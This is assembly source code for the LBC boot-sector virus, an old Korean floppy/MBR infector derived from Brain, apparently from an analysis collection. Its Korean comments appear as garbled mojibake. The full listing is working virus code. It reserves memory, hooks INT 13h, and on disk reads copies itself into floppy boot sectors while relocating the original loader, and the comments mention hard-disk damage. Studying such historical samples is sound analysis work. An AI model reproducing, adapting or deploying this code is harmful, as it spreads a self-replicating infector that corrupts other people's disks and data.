;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;
;                             LBC virus                     CVC #02  97/09
;
; ¹ÙÀÌ·¯½º¸í : LBC
; Á¦ÀÛÀÚ : ¸ð¸§ (Njh ?)
; Á¦ÀÛÁö : ÇÑ±¹ (89³â ¹ß°ß)
; ºÐ¼®ÀÚ : KOV
; ¾î¼Àºí·¯ : MASM, TASM
;
; Á¾·ù : ÇÃ·ÎÇÇ,MBR
; ¾ÏÈ£ : x
; ´ÙÇü¼º : x
; ÀºÆó : x
; ¼³¸í : ±¸ÇÑ ¼Ò½º¸¦ KOV °¡ ÀÏºÎ ¼öÁ¤ÇÑ °ÍÀÌ´Ù. ¼Ò½º¸¦ ÀÛ¼ºÇÏ½Å ºÐ²² °¨»çµå¸°
;        ´Ù.
;        Brain ¹ÙÀÌ·¯½º¸¦ ¹ÙÅÁ¿¡ µÎ°í Á¦ÀÛÇÑ ¹ÙÀÌ·¯½ºÀÌ´Ù.
;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>

 CODE           SEGMENT
                ASSUME  CS:CODE, DS:CODE

		ORG 100h
START:          CLI                             ; ÀÎÅÍ·´Æ® ¸¶½ºÅ©
                JMP     SHORT MAIN              ;
		NOP
                                                ; Brain ¹ÙÀÌ·¯½º ½Äº°ÀÚ
                DW      1234h                   ; »ç¿ëÇÏÁö ¾Ê´Â ºÎºÐ
LBC_MARK        DW      6845h                   ; ¹ÙÀÌ·¯½º ½Äº°ÀÚ

MAIN:           XOR     AX,  AX                 ; ÇÁ·Î±×·¥½ÃÀÛ & ÇÁ·Î±×·¥ ÃÊ±âÈ­
		MOV	DS,  AX
		MOV	SS,  AX
		MOV	SP,  0FFF0h
                STI                             ; ÀÎÅÍ·´Æ® ÇÃ·¡±× ¼¼Æ®

                MOV     BX,  0413h              ; ¸Þ¸ð¸® Å©±â °Ë»ç
		MOV	AX,  [BX]
		DEC	AX
                DEC     AX                      ; ¸Þ¸ð¸® Å©±â °¨¼Ò (2 KB)
		MOV	[BX],  AX

                MOV     CL,  06h                ; ¿Å±æ °÷ÀÇ ¼¼±×¸ÕÆ® °è»ê
		SHL	AX,  CL
		MOV	ES,  AX

                MOV     SI,  7C00h              ; ÀÚ½ÅÀÇ ¿ÀÇÁ¼Â
                MOV     DI,  0100h              ; ¿Å±æ °÷ÀÇ ¿ÀÇÁ¼Â
		MOV	CX,  0200h
		CLD
                REPZ    MOVSB                   ; ÇÁ·Î±×·¥ »óÁÖ
		PUSH	ES                ; »óÁÖµÈ ¹ÙÀÌ·¯½º ÇÁ·Î±×·¥À¸·Î Á¡ÇÁ
		MOV	AX,  OFFSET CHANGE_INT13
		PUSH	AX
		RETF

                                                ; »óÀ§ ¿µ¿ª ¿¡¼­ ½ÃÀÛµÊ
CHANGE_INT13:   MOV     BX,  004Ch              ; ÀÎÅÍ·´Æ® º¤ÅÍ º¯°æ
                MOV     CX,  [BX]               ; ¿ø·¡ÀÇ INT 13hÀÇ ¿ÀÇÁ¼Â
                MOV     DX,  [BX + 02h]         ; ¿ø·¡ÀÇ INT 13hÀÇ ¼¼±×¸ÕÆ®
                MOV     AX,  OFFSET NEW_INT13   ; »õ·Î¿î INT 13hÀÇ ¿ÀÇÁ¼Â
		MOV	[BX],  AX
                MOV     AX,  CS                 ; »õ·Î¿î INT 13hÀÇ ¼¼±×¸ÕÆ®
		MOV	[BX + 02],  AX
		MOV	DS,  AX
                MOV     WORD PTR OLD_INT13O,CX  ; ¿ø·¡ INT 13hÀÇ ¿ÀÇÁ¼Â ÀúÀå
                MOV     WORD PTR OLD_INT13S,DX  ; ¿ø·¡ INT 13hÀÇ ¼¼±×¸ÕÆ® ÀúÀå


                                                ; ¿ø·¡ÀÇ ºÎÆ® ½ºÆ®·¦ ·Î´õ ÀÐ±â
                MOV     BYTE PTR FUNC_NUM,02h   ; INT 13hÀÇ ÆÄ¶ó¹ÌÅÍ ¼³Á¤
                MOV     BYTE PTR BOOT_DRIVE,00h
                MOV     WORD PTR TRACK_SECTOR,0003h
                MOV     BYTE PTR BOOT_HEAD,01h

                XOR     AX,  AX                 ; ¿ø·¡ÀÇ ·Î´õÀÇ ¼¼±×¸ÕÆ®
		PUSH	AX
                MOV     ES,  AX                 ; INT 13h¸¦ À§ÇÑ ¹öÆÛ ¼¼±×¸ÕÆ®
                MOV     AX,  7C00h              ; ¿ø·¡ ·Î´õÀÇ ¿ÀÇÁ¼Â
		PUSH	AX
                MOV     WORD PTR BUFFERS,  AX   ; INT 13h¸¦ À§ÇÑ ¹öÆÛ ¿ÀÇÁ¼Â

		CALL	INT_13H
		JNB	NO_ROM_BASIC
                INT     18h                     ; µð½ºÄÏÀ» ÀÐÀ» ¼ö ¾øÀ» °æ¿ì
                                                ; ROM BASIC ÀÛµ¿ (ÃÖ±Ù ÄÄÇ»ÅÍ
                                                ; ¿¡´Â ¾øÀ½)

NO_ROM_BASIC:	RETF                  ; ¿ø·¡ÀÇ ·Î´õ¸¦ ÀÐÀº °æ¿ì ±×°÷À¸·Î Á¡ÇÁ


OLD_INT13O      DW      0EC59h                  ; ¿ø·¡ INT 13hÀÇ ¿ÀÇÁ¼Â
OLD_INT13S      DW      0F000h                  ; ¿ø·¡ INT 13hÀÇ ¼¼±×¸ÕÆ®
INTERVAL        DB      05h                     ; °¨¿° °£°Ý(¸Å 5È¸ ¸¶´Ù °¨¿°)
FUNC_NUM        DB      03h                     ; ±â´É ÄÚµå (2=ÀÐ±â,3=¾²±â)
BOOT_DRIVE      DB      00h                     ; µå¶óÀÌºê ¹øÈ£
BOOT_HEAD       DB      00h                     ; Çìµå ¹øÈ£
TRACK_SECTOR    DW      0001h                   ; Æ®·¢°ú ¼½ÅÍ ¹øÈ£
BUFFERS         DW      0100h                   ; ¹öÆÛÀÇ ¿ÀÇÁ¼Â

;<><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><><>
;               Int     13h
;
NEW_INT13:      STI                             ; ÀÎÅÍ·´Æ® ÇÃ·¡±× SET
                CMP     AH,  02h                ; µð½ºÅ© ÀÐ±â °Ë»ç
                JNZ     NO_INFECT

                CMP     DL,  01h                ; A ¶Ç´Â B µå¶óÀÌºêÀÎ°¡ °Ë»ç
                JG      NO_INFECT               ; ÀÌ°ªÀÌ ¹®Á¦ÀÇ °ªÀ¸·Î

; ¸¸¾à JB µîÀ¸·Î ¹Ù²Û´Ù¸é ÇÏµå µð½ºÅ©¸¦ ÆÄ±« ½ÃÅ°´Â ÀÏÀº ¾ø´Ù.
; Áï            CMP     DL,02h
;               JB      NO_INFECT2 ÇÏ¸é ÇÏµå µð½ºÅ©¸¦ ÆÄ±«ÇÏ´Â ÀÏÀº ¾ø´Ù.
; ÇÏµå µð½ºÅ©¿¡ LBC ¹ÙÀÌ·¯½º¿¡ °¨¿°µÇ¸é ºÎÆÃÀÌ µÇÁö ¾Ê´Âµ¥ ±× ÀÌÀ¯´Â ¹ÙÀÌ·¯½º
; Á¦ÀÛÀÚ´Â ¿ø·¡ ÇÃ·ÎÇÇ ¿ëÀ¸·Î Á¦ÀÛÇß±â ¶§¹®¿¡ ÇÏµå µð½ºÅ©·Î ºÎÆÃÇÏÁö ¾Ê±â ¶§
; ¹®ÀÌ´Ù.
;
                DEC     BYTE PTR CS:INTERVAL    ; °¨¿° °£°Ý °Ë»ç
                JNZ     NO_INFECT

                MOV     BYTE PTR CS:INTERVAL, 05h ; °¨¿° °£°Ý ÃÊ±âÈ­

                PUSH    AX                      ; ·¹Áö½ºÅÍ ´ëÇÇ
		PUSH	BX
		PUSH	CX
		PUSH	DX
		PUSH	ES
		PUSH	DS

                PUSH    CS                      ; µ¥ÀÌÅ¸ ¼¼±×¸ÕÆ® Á¶Á¤
		POP	DS

                                                ; ÇöÀç »ç¿ëÁßÀÎ µð½ºÄÏÀÇ ºÎÆ® ¼½ÅÍ ÀÐ±â
                MOV     BYTE PTR BOOT_DRIVE, DL ; INT 13h¸¦ À§ÇÑ ÆÄ¶ó¹ÌÅÍ ¼³Á¤
                MOV     BYTE PTR BOOT_HEAD, 00h
                MOV     WORD PTR TRACK_SECTOR, 0001h
                MOV     WORD PTR BUFFERS, 0400h
                MOV     BYTE PTR FUNC_NUM, 02h

                CALL    ES_SETING               ; ES Á¶Á¤ ÈÄ ¿ø·¡ÀÇ INT 13h ½ÇÇà
                JB      NO_INFECT1              ; ÀÐ±â ¿¡·¯ÀÏ¶§´Â Æ÷±â

                                                ; ÀÌ¹Ì °¨¿°µÈ µð½ºÄÏÀÎ°¡ °Ë»ç
                MOV     AX,  LBC_MARK           ; ¹ÙÀÌ·¯½º ½Äº°ÀÚ °Ë»ç
		MOV	BX,  OFFSET LBC_MARK + 300h
		CMP	AX,  [BX]
                JNZ     INFECT                  ; °¨¿°µÇÁö ¾ÊÀº µð½ºÄÏÀÌ¸é °¨¿°
                JMP     SHORT NO_INFECT1        ; °¨¿°µÈ µð½ºÄÏÀÌ¸é Àç °¨¿° Æ÷±â
		NOP


;               ÇöÀç »ç¿ëÁßÀÎ µð½ºÄÏ °¨¿°
;               ¿ø·¡ÀÇ ºÎÆ®½ºÆ®·¦ ·Î´õ ÇÁ·Î±×·¥À» ³í¸® ¼½ÅÍ 11¿¡ ¾²±â (360 KBÀÇ
;               °æ¿ì)
INFECT:         MOV     BYTE PTR FUNC_NUM,03h   ; INT 13h¸¦ À§ÇÑ ÆÄ¶ó¹ÌÅÍ(¾²±â)
                MOV     BYTE PTR BOOT_HEAD,01h  ; ³í¸® ¼½ÅÍ 10
                MOV     WORD PTR TRACK_SECTOR,0003h
                CALL    ES_SETING               ; ES Á¶Á¤ ÈÄ ¿ø·¡ÀÇ INT 13h ½ÇÇà
                JB      NO_INFECT1              ; ¾²±â ¿¡·¯ÀÎ °æ¿ì °¨¿° Æ÷±â


;               ¹ÙÀÌ·¯½º ·Î´õ ÇÁ·Î±×·¥ (LBC)¸¦ ºÎÆ® ¼½ÅÍ¿¡ ¾²±â
		MOV	BYTE PTR BOOT_HEAD,  00h
		MOV	WORD PTR TRACK_SECTOR,  0001h
		MOV	WORD PTR BUFFERS,  0100h
		CALL	ES_SETING            ; ES Á¶Á¤ ÈÄ ¿ø·¡ÀÇ INT 13h ½ÇÇà


NO_INFECT1:     POP     DS                      ; ·¹Áö½ºÅÍ º¹±¸
		POP	ES
		POP	DX
		POP	CX
		POP	BX
		POP	AX


NO_INFECT:      JMP     DWORD PTR CS:[OLD_INT13O]     ; ¿ø·¡ÀÇ INT 13h·Î Á¡ÇÁ

ES_SETING:      PUSH    CS                      ; ES ·¹Áö½ºÅÍ Á¶Á¤
		POP	ES
INT_13H:        MOV     CX,  0004h              ; Àç½Ãµµ È½¼ö ¼³Á¤

RETRY:          PUSH    CX                      ; Àç½Ãµµ È½¼ö ÀúÀå

;               INT 13hÀÇ ÆÄ¶ó¹ÌÅÍ ¼³Á¤
                MOV     AH,  FUNC_NUM           ; ±â´É ÄÚµå
                MOV     AL,  01h                ; ¼½ÅÍ ¼ö
                MOV     BX,  BUFFERS            ; ¹öÆÛ ¿ÀÇÁ¼Â
                MOV     CX,  TRACK_SECTOR       ; Æ®·¢°ú ¼½ÅÍ ¹øÈ£
                MOV     DH,  BOOT_HEAD          ; Çìµå ¹øÈ£
                MOV     DL,  BOOT_DRIVE         ; µå¶óÀÌºê ¹øÈ£

                PUSHF                           ; ÀÎÅÍ·´Æ® ¸®ÅÏÀ» À§ÇÑ ½ºÅÃ Á¶Á¤
                CALL    DWORD PTR [OLD_INT13O]  ; ¿ø·¡ÀÇ INT 13h È£Ãâ
                JNB     NO_ERROR                ; ¿¡·¯ °Ë»ç

                MOV     AH,  00h                ; ¿¡·¯ ¹ß»ý½Ã µð½ºÅ© ¸®¼¼Æ®
                PUSHF                           ; ÀÎÅÍ·´Æ® ¸®ÅÏÀ» À§ÇÑ ½ºÅÃ Á¶Á¤
                CALL    DWORD PTR [OLD_INT13O]  ; ¿ø·¡ÀÇ INT 13h È£Ãâ

                POP     CX                      ; Àç½Ãµµ È½¼ö º¹±¸
                LOOP    RETRY                   ; Àç½Ãµµ

                STC                             ; ¿¡·¯ ¼±¾ðÀ» À§ÇÑ Ä³¸® ¼¼Æ®
		JMP	SHORT RETURN
		NOP
NO_ERROR:       POP     CX                      ; ½ºÅÃ Á¶Á¤
RETURN:		RET                       ; »óÁÖµÈ ¹ÙÀÌ·¯½º ÇÁ·Î±×·¥À¸·Î º¹±Í



                DB      ' virse program   messge Njh to Lbc '
; virus program message Njh to Lbc
; ¸¦ Àß¸ø ÀûÀº°Í °°´Ù. Á¦ÀÛÀÚ´Â ¾Æ¸¶µµ ³ªÀÌ ¾î¸° ÇÐ»ýÀÎ°Í °°´Ù.

                DB      166 DUP (00h)

CODE		ENDS
		END	START

;
; ±¹³»¿¡´Â LBC ¹ÙÀÌ·¯½º¸¦ º¯ÇüÇÑ ¹ÙÀÌ·¯½ºµéÀÌ ¸¹´Ù.
; ´ÙÀ½ ±âÈ¸¿¡ ÇÃ·ÎÇÇ Àü¿ë(?)ÀÇ LBC ¹ÙÀÌ·¯½º¸¦ ¾î¶»°Ô º¯Çü Çß´ÂÁö
; º¯Çü ¹ÙÀÌ·¯½º¸¦ °¡Áö°í ºÐ¼®ÇØ º¸°Ú´Ù.
;
